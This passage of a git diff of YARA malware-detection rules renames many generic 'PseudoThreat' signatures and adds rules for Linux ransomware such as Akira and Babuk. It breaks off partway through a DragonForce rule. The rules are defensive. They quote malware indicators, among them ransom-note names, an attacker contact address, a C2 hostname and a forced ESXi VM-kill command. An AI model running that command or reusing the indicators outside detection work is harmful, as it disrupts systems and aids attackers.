a/PseudoThreat_c0000ed9/_PseudoThreat_c0000ed9.yar +++ b/PseudoThreat_c0000dbe/_PseudoThreat_c0000dbe.yar @@ -1,7 +1,7 @@ -rule _PseudoThreat_c0000ed9{ +rule _PseudoThreat_c0000dbe{ meta: - description = "!PseudoThreat_c0000ed9,SIGNATURE_TYPE_ARHSTR_EXT,03 00 03 00 03 00 00 " + description = "!PseudoThreat_c0000dbe,SIGNATURE_TYPE_ARHSTR_EXT,03 00 03 00 03 00 00 " strings : $a_01_0 = {6a 04 68 00 10 00 00 68 b0 36 00 00 6a 00 ff 15 } //1 diff --git a/PseudoThreat_c0000eda/_PseudoThreat_c0000eda.yar b/PseudoThreat_c0000dbf/_PseudoThreat_c0000dbf.yar similarity index 71% rename from PseudoThreat_c0000eda/_PseudoThreat_c0000eda.yar rename to PseudoThreat_c0000dbf/_PseudoThreat_c0000dbf.yar index 7042a07b5d..6666afe068 100644 --- a/PseudoThreat_c0000eda/_PseudoThreat_c0000eda.yar +++ b/PseudoThreat_c0000dbf/_PseudoThreat_c0000dbf.yar @@ -1,7 +1,7 @@ -rule _PseudoThreat_c0000eda{ +rule _PseudoThreat_c0000dbf{ meta: - description = "!PseudoThreat_c0000eda,SIGNATURE_TYPE_ARHSTR_EXT,02 00 02 00 02 00 00 " + description = "!PseudoThreat_c0000dbf,SIGNATURE_TYPE_ARHSTR_EXT,02 00 02 00 02 00 00 " strings : $a_03_0 = {55 8b ec 83 ec [0-04] 53 56 57 60 83 ec 04 b0 01 fe c0 75 06 81 c4 } //1 diff --git a/PseudoThreat_c0000f7a/_PseudoThreat_c0000f7a.yar b/PseudoThreat_c0000e3c/_PseudoThreat_c0000e3c.yar similarity index 89% rename from PseudoThreat_c0000f7a/_PseudoThreat_c0000f7a.yar rename to PseudoThreat_c0000e3c/_PseudoThreat_c0000e3c.yar index 0e03d7ca5b..0a817013a3 100644 --- a/PseudoThreat_c0000f7a/_PseudoThreat_c0000f7a.yar +++ b/PseudoThreat_c0000e3c/_PseudoThreat_c0000e3c.yar @@ -1,7 +1,7 @@ -rule _PseudoThreat_c0000f7a{ +rule _PseudoThreat_c0000e3c{ meta: - description = "!PseudoThreat_c0000f7a,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0b 00 09 00 00 " + description = "!PseudoThreat_c0000e3c,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0b 00 09 00 00 " strings : $a_00_0 = {56 57 be d8 07 01 00 8b fe b9 f0 00 00 00 } //4 diff --git a/PseudoThreat_c0000f7b/_PseudoThreat_c0000f7b.yar b/PseudoThreat_c0000e3d/_PseudoThreat_c0000e3d.yar similarity index 97% rename from PseudoThreat_c0000f7b/_PseudoThreat_c0000f7b.yar rename to PseudoThreat_c0000e3d/_PseudoThreat_c0000e3d.yar index ab6f54395b..2eac76edf1 100644 --- a/PseudoThreat_c0000f7b/_PseudoThreat_c0000f7b.yar +++ b/PseudoThreat_c0000e3d/_PseudoThreat_c0000e3d.yar @@ -1,7 +1,7 @@ -rule _PseudoThreat_c0000f7b{ +rule _PseudoThreat_c0000e3d{ meta: - description = "!PseudoThreat_c0000f7b,SIGNATURE_TYPE_PEHSTR_EXT,19 00 14 00 2f 00 00 " + description = "!PseudoThreat_c0000e3d,SIGNATURE_TYPE_PEHSTR_EXT,19 00 14 00 2f 00 00 " strings : $a_00_0 = {5c 5c 2e 5c 6d 61 69 6c 73 6c 6f 74 5c 6c 6f 70 65 72 2d 6c 61 31 30 30 73 } //2 \\.\mailslot\loper-la100s diff --git a/PseudoThreat_c0001045/_PseudoThreat_c0001045.yar b/PseudoThreat_c0000efb/_PseudoThreat_c0000efb.yar similarity index 87% rename from PseudoThreat_c0001045/_PseudoThreat_c0001045.yar rename to PseudoThreat_c0000efb/_PseudoThreat_c0000efb.yar index 24f3e7ef71..b9a59a71e6 100644 --- a/PseudoThreat_c0001045/_PseudoThreat_c0001045.yar +++ b/PseudoThreat_c0000efb/_PseudoThreat_c0000efb.yar @@ -1,7 +1,7 @@ -rule _PseudoThreat_c0001045{ +rule _PseudoThreat_c0000efb{ meta: - description = "!PseudoThreat_c0001045,SIGNATURE_TYPE_PEHSTR_EXT,ffffff92 01 ffffff92 01 06 00 00 " + description = "!PseudoThreat_c0000efb,SIGNATURE_TYPE_PEHSTR_EXT,ffffff92 01 ffffff92 01 06 00 00 " strings : $a_00_0 = {53 4f 46 54 57 41 52 45 5c 42 6f 72 6c 61 6e 64 5c 44 65 6c 70 68 69 5c 52 54 4c } //100 SOFTWARE\Borland\Delphi\RTL diff --git a/PseudoThreat_c0001046/_PseudoThreat_c0001046.yar b/PseudoThreat_c0000efc/_PseudoThreat_c0000efc.yar similarity index 88% rename from PseudoThreat_c0001046/_PseudoThreat_c0001046.yar rename to PseudoThreat_c0000efc/_PseudoThreat_c0000efc.yar index 326961e4f6..a5137ca623 100644 --- a/PseudoThreat_c0001046/_PseudoThreat_c0001046.yar +++ b/PseudoThreat_c0000efc/_PseudoThreat_c0000efc.yar @@ -1,7 +1,7 @@ -rule _PseudoThreat_c0001046{ +rule _PseudoThreat_c0000efc{ meta: - description = "!PseudoThreat_c0001046,SIGNATURE_TYPE_PEHSTR,0c 00 09 00 06 00 00 " + description = "!PseudoThreat_c0000efc,SIGNATURE_TYPE_PEHSTR,0c 00 09 00 06 00 00 " strings : $a_01_0 = {43 52 59 50 54 4b 45 59 } //3 CRYPTKEY diff --git a/PseudoThreat_c0001048/_PseudoThreat_c0001048.yar b/PseudoThreat_c0000efe/_PseudoThreat_c0000efe.yar similarity index 96% rename from PseudoThreat_c0001048/_PseudoThreat_c0001048.yar rename to PseudoThreat_c0000efe/_PseudoThreat_c0000efe.yar index 22f2b1db4b..9fe51820db 100644 --- a/PseudoThreat_c0001048/_PseudoThreat_c0001048.yar +++ b/PseudoThreat_c0000efe/_PseudoThreat_c0000efe.yar @@ -1,7 +1,7 @@ -rule _PseudoThreat_c0001048{ +rule _PseudoThreat_c0000efe{ meta: - description = "!PseudoThreat_c0001048,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 19 00 0d 00 00 " + description = "!PseudoThreat_c0000efe,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 19 00 0d 00 00 " strings : $a_00_0 = {53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 53 68 65 6c 6c 53 65 72 76 69 63 65 4f 62 6a 65 63 74 44 65 6c 61 79 4c 6f 61 64 } //2 Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad diff --git a/PseudoThreat_c0001049/_PseudoThreat_c0001049.yar b/PseudoThreat_c0000eff/_PseudoThreat_c0000eff.yar similarity index 92% rename from PseudoThreat_c0001049/_PseudoThreat_c0001049.yar rename to PseudoThreat_c0000eff/_PseudoThreat_c0000eff.yar index 35ca4455b0..2f06c75fc6 100644 --- a/PseudoThreat_c0001049/_PseudoThreat_c0001049.yar +++ b/PseudoThreat_c0000eff/_PseudoThreat_c0000eff.yar @@ -1,7 +1,7 @@ -rule _PseudoThreat_c0001049{ +rule _PseudoThreat_c0000eff{ meta: - description = "!PseudoThreat_c0001049,SIGNATURE_TYPE_PEHSTR_EXT,06 00 05 00 08 00 00 " + description = "!PseudoThreat_c0000eff,SIGNATURE_TYPE_PEHSTR_EXT,06 00 05 00 08 00 00 " strings : $a_00_0 = {20 69 73 20 69 6e 66 65 63 74 65 64 } //1 is infected diff --git a/PseudoThreat_c000104a/_PseudoThreat_c000104a.yar b/PseudoThreat_c0000f00/_PseudoThreat_c0000f00.yar similarity index 95% rename from PseudoThreat_c000104a/_PseudoThreat_c000104a.yar rename to PseudoThreat_c0000f00/_PseudoThreat_c0000f00.yar index 9435c6dabf..f3bb6d4652 100644 --- a/PseudoThreat_c000104a/_PseudoThreat_c000104a.yar +++ b/PseudoThreat_c0000f00/_PseudoThreat_c0000f00.yar @@ -1,7 +1,7 @@ -rule _PseudoThreat_c000104a{ +rule _PseudoThreat_c0000f00{ meta: - description = "!PseudoThreat_c000104a,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0f 00 00 " + description = "!PseudoThreat_c0000f00,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0f 00 00 " strings : $a_00_0 = {53 70 79 77 61 72 65 4c 6f 63 6b 65 64 } //1 SpywareLocked diff --git a/PseudoThreat_c000104c/_PseudoThreat_c000104c.yar b/PseudoThreat_c0000f02/_PseudoThreat_c0000f02.yar similarity index 95% rename from PseudoThreat_c000104c/_PseudoThreat_c000104c.yar rename to PseudoThreat_c0000f02/_PseudoThreat_c0000f02.yar index 7ddb6145cf..2c494e5bf3 100644 --- a/PseudoThreat_c000104c/_PseudoThreat_c000104c.yar +++ b/PseudoThreat_c0000f02/_PseudoThreat_c0000f02.yar @@ -1,7 +1,7 @@ -rule _PseudoThreat_c000104c{ +rule _PseudoThreat_c0000f02{ meta: - description = "!PseudoThreat_c000104c,SIGNATURE_TYPE_PEHSTR_EXT,46 00 44 00 0d 00 00 " + description = "!PseudoThreat_c0000f02,SIGNATURE_TYPE_PEHSTR_EXT,46 00 44 00 0d 00 00 " strings : $a_01_0 = {7b 41 42 43 44 45 43 46 30 2d 34 42 31 35 2d 31 31 44 31 2d 41 42 45 44 2d 37 30 39 35 34 39 43 31 30 30 30 30 7d } //10 {ABCDECF0-4B15-11D1-ABED-709549C10000} diff --git a/PseudoThreat_c000104d/_PseudoThreat_c000104d.yar b/PseudoThreat_c0000f03/_PseudoThreat_c0000f03.yar similarity index 92% rename from PseudoThreat_c000104d/_PseudoThreat_c000104d.yar rename to PseudoThreat_c0000f03/_PseudoThreat_c0000f03.yar index 77c1d523b9..f028ecddac 100644 --- a/PseudoThreat_c000104d/_PseudoThreat_c000104d.yar +++ b/PseudoThreat_c0000f03/_PseudoThreat_c0000f03.yar @@ -1,7 +1,7 @@ -rule _PseudoThreat_c000104d{ +rule _PseudoThreat_c0000f03{ meta: - description = "!PseudoThreat_c000104d,SIGNATURE_TYPE_PEHSTR_EXT,ffffffd7 00 ffffffd7 00 0a 00 00 " + description = "!PseudoThreat_c0000f03,SIGNATURE_TYPE_PEHSTR_EXT,ffffffd7 00 ffffffd7 00 0a 00 00 " strings : $a_01_0 = {64 6f 77 6e 6c 6f 61 64 2e 70 68 70 3f 26 61 64 76 69 64 3d } //100 download.php?&advid= diff --git a/PseudoThreat_c000104e/_PseudoThreat_c000104e.yar b/PseudoThreat_c0000f04/_PseudoThreat_c0000f04.yar similarity index 90% rename from PseudoThreat_c000104e/_PseudoThreat_c000104e.yar rename to PseudoThreat_c0000f04/_PseudoThreat_c0000f04.yar index 29044e7814..4af7ed431b 100644 --- a/PseudoThreat_c000104e/_PseudoThreat_c000104e.yar +++ b/PseudoThreat_c0000f04/_PseudoThreat_c0000f04.yar @@ -1,7 +1,7 @@ -rule _PseudoThreat_c000104e{ +rule _PseudoThreat_c0000f04{ meta: - description = "!PseudoThreat_c000104e,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 00 " + description = "!PseudoThreat_c0000f04,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 00 " strings : $a_00_0 = {48 6f 73 74 3a 20 64 6f 77 6e 6c 6f 61 64 2e 25 73 2e 63 6f 6d } //1 Host: download.%s.com diff --git a/PseudoThreat_c000104f/_PseudoThreat_c000104f.yar b/PseudoThreat_c0000f05/_PseudoThreat_c0000f05.yar similarity index 88% rename from PseudoThreat_c000104f/_PseudoThreat_c000104f.yar rename to PseudoThreat_c0000f05/_PseudoThreat_c0000f05.yar index 165c4be963..3f3880e5c2 100644 --- a/PseudoThreat_c000104f/_PseudoThreat_c000104f.yar +++ b/PseudoThreat_c0000f05/_PseudoThreat_c0000f05.yar @@ -1,7 +1,7 @@ -rule _PseudoThreat_c000104f{ +rule _PseudoThreat_c0000f05{ meta: - description = "!PseudoThreat_c000104f,SIGNATURE_TYPE_PEHSTR_EXT,1f 00 1f 00 04 00 00 " + description = "!PseudoThreat_c0000f05,SIGNATURE_TYPE_PEHSTR_EXT,1f 00 1f 00 04 00 00 " strings : $a_00_0 = {57 69 6e 64 6f 77 73 5c 78 70 75 70 64 61 74 65 2e 65 78 65 } //10 Windows\xpupdate.exe diff --git a/PseudoThreat_c0001050/_PseudoThreat_c0001050.yar b/PseudoThreat_c0000f06/_PseudoThreat_c0000f06.yar similarity index 95% rename from PseudoThreat_c0001050/_PseudoThreat_c0001050.yar rename to PseudoThreat_c0000f06/_PseudoThreat_c0000f06.yar index d6e221ec33..867ae9f506 100644 --- a/PseudoThreat_c0001050/_PseudoThreat_c0001050.yar +++ b/PseudoThreat_c0000f06/_PseudoThreat_c0000f06.yar @@ -1,7 +1,7 @@ -rule _PseudoThreat_c0001050{ +rule _PseudoThreat_c0000f06{ meta: - description = "!PseudoThreat_c0001050,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 00 " + description = "!PseudoThreat_c0000f06,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 00 " strings : $a_01_0 = {49 45 48 6c 70 72 4f 62 6a 2e 49 45 48 6c 70 72 4f 62 6a 2e 31 20 3d 20 73 20 27 49 45 48 6c 70 72 4f 62 6a 20 43 6c 61 73 73 27 } //1 IEHlprObj.IEHlprObj.1 = s 'IEHlprObj Class' diff --git a/PseudoThreat_c0001051/_PseudoThreat_c0001051.yar b/PseudoThreat_c0000f07/_PseudoThreat_c0000f07.yar similarity index 89% rename from PseudoThreat_c0001051/_PseudoThreat_c0001051.yar rename to PseudoThreat_c0000f07/_PseudoThreat_c0000f07.yar index 32652dbafc..de01288667 100644 --- a/PseudoThreat_c0001051/_PseudoThreat_c0001051.yar +++ b/PseudoThreat_c0000f07/_PseudoThreat_c0000f07.yar @@ -1,7 +1,7 @@ -rule _PseudoThreat_c0001051{ +rule _PseudoThreat_c0000f07{ meta: - description = "!PseudoThreat_c0001051,SIGNATURE_TYPE_PEHSTR_EXT,29 00 29 00 05 00 00 " + description = "!PseudoThreat_c0000f07,SIGNATURE_TYPE_PEHSTR_EXT,29 00 29 00 05 00 00 " strings : $a_02_0 = {47 45 54 20 2f [0-08] 2e 70 68 70 3f 26 61 64 76 69 64 3d } //10 diff --git a/PseudoThreat_c0001052/_PseudoThreat_c0001052.yar b/PseudoThreat_c0000f08/_PseudoThreat_c0000f08.yar similarity index 94% rename from PseudoThreat_c0001052/_PseudoThreat_c0001052.yar rename to PseudoThreat_c0000f08/_PseudoThreat_c0000f08.yar index 6a840cc890..189cd1b8c8 100644 --- a/PseudoThreat_c0001052/_PseudoThreat_c0001052.yar +++ b/PseudoThreat_c0000f08/_PseudoThreat_c0000f08.yar @@ -1,7 +1,7 @@ -rule _PseudoThreat_c0001052{ +rule _PseudoThreat_c0000f08{ meta: - description = "!PseudoThreat_c0001052,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " + description = "!PseudoThreat_c0000f08,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " strings : $a_02_0 = {4e 6f 52 65 6d 6f 76 65 20 41 70 70 49 44 ?? ?? ?? ?? ?? ?? ?? ?? 27 25 41 50 50 49 44 25 27 20 3d 20 73 20 27 53 70 79 53 68 72 65 64 64 65 72 27 ?? ?? ?? ?? 27 77 65 62 69 6e 73 74 2e 64 6c 6c 27 } //1 diff --git a/PseudoThreat_c0001053/_PseudoThreat_c0001053.yar b/PseudoThreat_c0000f09/_PseudoThreat_c0000f09.yar similarity index 92% rename from PseudoThreat_c0001053/_PseudoThreat_c0001053.yar rename to PseudoThreat_c0000f09/_PseudoThreat_c0000f09.yar index ebf40ada58..2b075ccf45 100644 --- a/PseudoThreat_c0001053/_PseudoThreat_c0001053.yar +++ b/PseudoThreat_c0000f09/_PseudoThreat_c0000f09.yar @@ -1,7 +1,7 @@ -rule _PseudoThreat_c0001053{ +rule _PseudoThreat_c0000f09{ meta: - description = "!PseudoThreat_c0001053,SIGNATURE_TYPE_PEHSTR_EXT,1d 00 1a 00 09 00 00 " + description = "!PseudoThreat_c0000f09,SIGNATURE_TYPE_PEHSTR_EXT,1d 00 1a 00 09 00 00 " strings : $a_02_0 = {78 3a 5c 44 65 76 5f 43 50 50 5c 57 6f 72 6b 5c 56 53 5f 4b 6e 7a 53 74 72 5f 41 64 77 61 72 65 5c 52 65 6c 65 61 73 65 5c 56 53 5f 57 6f 72 6b ?? 2e 70 64 62 } //10 diff --git a/PseudoThreat_c0001054/_PseudoThreat_c0001054.yar b/PseudoThreat_c0000f0a/_PseudoThreat_c0000f0a.yar similarity index 90% rename from PseudoThreat_c0001054/_PseudoThreat_c0001054.yar rename to PseudoThreat_c0000f0a/_PseudoThreat_c0000f0a.yar index ba59707157..abf9e7c74e 100644 --- a/PseudoThreat_c0001054/_PseudoThreat_c0001054.yar +++ b/PseudoThreat_c0000f0a/_PseudoThreat_c0000f0a.yar @@ -1,7 +1,7 @@ -rule _PseudoThreat_c0001054{ +rule _PseudoThreat_c0000f0a{ meta: - description = "!PseudoThreat_c0001054,SIGNATURE_TYPE_PEHSTR,22 00 21 00 07 00 00 " + description = "!PseudoThreat_c0000f0a,SIGNATURE_TYPE_PEHSTR,22 00 21 00 07 00 00 " strings : $a_01_0 = {73 00 68 00 65 00 72 00 69 00 66 00 66 00 2e 00 65 00 78 00 65 00 00 00 77 } //10 diff --git a/PseudoThreat_c00014c4/_PseudoThreat_c00014c4.yar b/PseudoThreat_c0001299/_PseudoThreat_c0001299.yar similarity index 64% rename from PseudoThreat_c00014c4/_PseudoThreat_c00014c4.yar rename to PseudoThreat_c0001299/_PseudoThreat_c0001299.yar index 9b9ca93bb2..5d6d1f7929 100644 --- a/PseudoThreat_c00014c4/_PseudoThreat_c00014c4.yar +++ b/PseudoThreat_c0001299/_PseudoThreat_c0001299.yar @@ -1,7 +1,7 @@ -rule _PseudoThreat_c00014c4{ +rule _PseudoThreat_c0001299{ meta: - description = "!PseudoThreat_c00014c4,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + description = "!PseudoThreat_c0001299,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " strings : $a_03_0 = {8b 45 e8 8b 55 ?? 01 02 8b 45 ?? 03 45 ?? 03 45 ?? 8b 55 ?? 31 02 83 45 e8 04 } //1 diff --git a/PseudoThreat_c0001523/_PseudoThreat_c0001523.yar b/PseudoThreat_c00012e3/_PseudoThreat_c00012e3.yar similarity index 72% rename from PseudoThreat_c0001523/_PseudoThreat_c0001523.yar rename to PseudoThreat_c00012e3/_PseudoThreat_c00012e3.yar index cebb2972a2..944d63b164 100644 --- a/PseudoThreat_c0001523/_PseudoThreat_c0001523.yar +++ b/PseudoThreat_c00012e3/_PseudoThreat_c00012e3.yar @@ -1,7 +1,7 @@ -rule _PseudoThreat_c0001523{ +rule _PseudoThreat_c00012e3{ meta: - description = "!PseudoThreat_c0001523,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + description = "!PseudoThreat_c00012e3,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " strings : $a_01_0 = {8b 85 48 ff ff ff 40 89 85 48 ff ff ff 8b 85 58 ff ff ff 8b 8d 48 ff ff ff 3b 48 02 73 1c 8b 45 f0 03 85 48 ff ff ff 8b 8d 58 ff ff ff 03 8d 48 ff ff ff 8a 49 3a 88 08 } //1 diff --git a/PseudoThreat_c0001726/_PseudoThreat_c0001726.yar b/PseudoThreat_c000145e/_PseudoThreat_c000145e.yar similarity index 70% rename from PseudoThreat_c0001726/_PseudoThreat_c0001726.yar rename to PseudoThreat_c000145e/_PseudoThreat_c000145e.yar index 7622dad9f9..6c4646ffda 100644 --- a/PseudoThreat_c0001726/_PseudoThreat_c0001726.yar +++ b/PseudoThreat_c000145e/_PseudoThreat_c000145e.yar @@ -1,7 +1,7 @@ -rule _PseudoThreat_c0001726{ +rule _PseudoThreat_c000145e{ meta: - description = "!PseudoThreat_c0001726,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + description = "!PseudoThreat_c000145e,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " strings : $a_01_0 = {6a 40 68 00 10 00 00 8b 45 08 8b 40 04 ff 70 09 6a 00 8b 45 08 ff 50 24 89 45 f8 83 65 f4 00 6a 00 8d 45 f4 50 ff 75 f8 8b 45 08 8b 40 04 ff 30 } //1 diff --git a/PseudoThreat_c0001763/_PseudoThreat_c0001763.yar b/PseudoThreat_c0001487/_PseudoThreat_c0001487.yar similarity index 90% rename from PseudoThreat_c0001763/_PseudoThreat_c0001763.yar rename to PseudoThreat_c0001487/_PseudoThreat_c0001487.yar index 36cf6d7403..e27c386525 100644 --- a/PseudoThreat_c0001763/_PseudoThreat_c0001763.yar +++ b/PseudoThreat_c0001487/_PseudoThreat_c0001487.yar @@ -1,7 +1,7 @@ -rule _PseudoThreat_c0001763{ +rule _PseudoThreat_c0001487{ meta: - description = "!PseudoThreat_c0001763,SIGNATURE_TYPE_MACHOHSTR_EXT,09 00 09 00 0b 00 00 " + description = "!PseudoThreat_c0001487,SIGNATURE_TYPE_MACHOHSTR_EXT,09 00 09 00 0b 00 00 " strings : $a_01_0 = {63 6e 63 2e 61 70 70 2e 63 79 6d 75 6c 61 74 65 2e 63 6f 6d } //1 cnc.app.cymulate.com diff --git a/PseudoThreat_c000176c/_PseudoThreat_c000176c.yar b/PseudoThreat_c000148e/_PseudoThreat_c000148e.yar similarity index 89% rename from PseudoThreat_c000176c/_PseudoThreat_c000176c.yar rename to PseudoThreat_c000148e/_PseudoThreat_c000148e.yar index 54864ce69e..20900a4512 100644 --- a/PseudoThreat_c000176c/_PseudoThreat_c000176c.yar +++ b/PseudoThreat_c000148e/_PseudoThreat_c000148e.yar @@ -1,7 +1,7 @@ -rule _PseudoThreat_c000176c{ +rule _PseudoThreat_c000148e{ meta: - description = "!PseudoThreat_c000176c,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 00 " + description = "!PseudoThreat_c000148e,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 00 " strings : $a_03_0 = {5f 00 6b 00 61 00 73 00 73 00 73 00 70 00 65 00 72 00 73 00 6b 00 64 00 79 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a } //1 diff --git a/Ransom/Linux/Akira/Ransom_Linux_Akira_D_MTB.yar b/Ransom/Linux/Akira/Ransom_Linux_Akira_D_MTB.yar new file mode 100644 index 0000000000..60c77a50e1 --- /dev/null +++ b/Ransom/Linux/Akira/Ransom_Linux_Akira_D_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_Linux_Akira_D_MTB{ + meta: + description = "Ransom:Linux/Akira.D!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_01_0 = {61 6b 69 72 61 5f 72 65 61 64 6d 65 2e 74 78 74 } //1 akira_readme.txt + $a_01_1 = {2e 61 6b 69 72 61 } //1 .akira + $a_01_2 = {2d 2d 73 68 61 72 65 5f 66 69 6c 65 } //1 --share_file + $a_01_3 = {2e 61 72 69 6b 61 } //1 .arika + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Ransom/Linux/Akira/Ransom_Linux_Akira_E_MTB.yar b/Ransom/Linux/Akira/Ransom_Linux_Akira_E_MTB.yar new file mode 100644 index 0000000000..d3c52be315 --- /dev/null +++ b/Ransom/Linux/Akira/Ransom_Linux_Akira_E_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_Linux_Akira_E_MTB{ + meta: + description = "Ransom:Linux/Akira.E!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {61 6b 69 72 61 6e 65 77 5f 52 6f 6f 74 20 70 61 74 68 } //1 akiranew_Root path + $a_01_1 = {2f 69 6e 63 6c 75 64 65 2f 73 63 72 61 74 63 68 61 6b 69 72 61 6e 65 77 77 61 6c 6b 69 6e 67 } //1 /include/scratchakiranewwalking + $a_01_2 = {61 6b 69 72 61 6e 65 77 2f 73 72 63 2f 6c 6f 63 6b 2e 72 73 23 3e 2d 20 46 69 6c 65 20 20 63 72 79 70 74 69 6e 67 2e 2e 2e 20 46 69 6c 65 20 6c 6f 63 6b 20 73 74 61 72 74 65 64 3a } //1 akiranew/src/lock.rs#>- File crypting... File lock started: + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Ransom/Linux/Babuk/Ransom_Linux_Babuk_S_MTB.yar b/Ransom/Linux/Babuk/Ransom_Linux_Babuk_S_MTB.yar new file mode 100644 index 0000000000..74625b769a --- /dev/null +++ b/Ransom/Linux/Babuk/Ransom_Linux_Babuk_S_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_Linux_Babuk_S_MTB{ + meta: + description = "Ransom:Linux/Babuk.S!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {5f 72 5f 65 5f 61 5f 64 5f 6d 5f 65 2e 74 78 74 } //1 _r_e_a_d_m_e.txt + $a_01_1 = {2e 63 6c 70 6d 77 65 } //1 .clpmwe + $a_01_2 = {78 79 63 71 6d 77 74 69 40 6f 6e 69 6f 6e 6d 61 69 6c 2e 6f 72 67 } //1 xycqmwti@onionmail.org + $a_01_3 = {2e 6c 6f 67 2c 2e 76 6d 64 6b 2c 2e 76 6d 65 6d 2c 2e 76 73 77 70 2c 2e 76 6d 73 6e 2c 2e 76 6d 73 64 2c 2e 76 6d 78 2c 2e 67 7a } //1 .log,.vmdk,.vmem,.vswp,.vmsn,.vmsd,.vmx,.gz + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Ransom/Linux/Babuk/Ransom_Linux_Babuk_T_MTB.yar b/Ransom/Linux/Babuk/Ransom_Linux_Babuk_T_MTB.yar new file mode 100644 index 0000000000..2baefc9961 --- /dev/null +++ b/Ransom/Linux/Babuk/Ransom_Linux_Babuk_T_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_Linux_Babuk_T_MTB{ + meta: + description = "Ransom:Linux/Babuk.T!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_01_0 = {65 6e 73 75 72 65 41 6c 6c 56 4d 73 53 68 75 74 64 6f 77 6e } //1 ensureAllVMsShutdown + $a_01_1 = {65 6e 63 72 79 70 74 5f 66 69 6c 65 } //1 encrypt_file + $a_01_2 = {2e 71 37 67 44 50 79 4f 56 37 } //1 .q7gDPyOV7 + $a_01_3 = {72 61 6e 73 6f 6d 5f 6e 6f 74 65 } //1 ransom_note + $a_01_4 = {65 73 78 63 6c 69 20 76 6d 20 70 72 6f 63 65 73 73 20 6b 69 6c 6c 20 2d 2d 74 79 70 65 3d 66 6f 72 63 65 20 2d 2d 77 6f 72 6c 64 2d 69 64 3d } //1 esxcli vm process kill --type=force --world-id= + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Ransom/Linux/Cryptor/Ransom_Linux_Cryptor_E_MTB.yar b/Ransom/Linux/Cryptor/Ransom_Linux_Cryptor_E_MTB.yar new file mode 100644 index 0000000000..ea30ae711f --- /dev/null +++ b/Ransom/Linux/Cryptor/Ransom_Linux_Cryptor_E_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_Linux_Cryptor_E_MTB{ + meta: + description = "Ransom:Linux/Cryptor.E!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 05 00 00 " + + strings : + $a_01_0 = {6d 61 69 6e 2e 73 61 76 65 43 75 72 72 50 49 44 } //1 main.saveCurrPID + $a_01_1 = {6d 61 69 6e 2e 72 65 6d 6f 76 65 43 72 6f 6e } //1 main.removeCron + $a_01_2 = {6d 61 69 6e 2e 63 68 65 63 6b 52 65 61 64 6d 65 45 78 69 73 74 73 } //1 main.checkReadmeExists + $a_01_3 = {6d 61 69 6e 2e 77 72 69 74 65 6d 65 73 73 61 67 65 } //1 main.writemessage + $a_01_4 = {2f 73 72 63 2f 72 63 74 5f 63 72 79 70 74 6f 72 5f 75 6e 69 76 65 72 73 61 6c 2f 6d 61 69 6e 2e 67 6f } //1 /src/rct_cryptor_universal/main.go + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Ransom/Linux/DragonForce/Ransom_Linux_DragonForce_A_MTB.yar b/Ransom/Linux/DragonForce/Ransom_Linux_DragonForce_A_MTB.yar new file mode 100644 index 0000000000..3b29587254 --- /dev/null +++ b/Ransom/Linux/DragonForce/Ransom_Linux_DragonForce_A_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_Linux_DragonForce_A_MTB{ + meta: + description = "Ransom:Linux/DragonForce.A!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_01_0 = {65 6e 63 72 79 70 74 65 64 5f 6e 6f 74 65 } //1 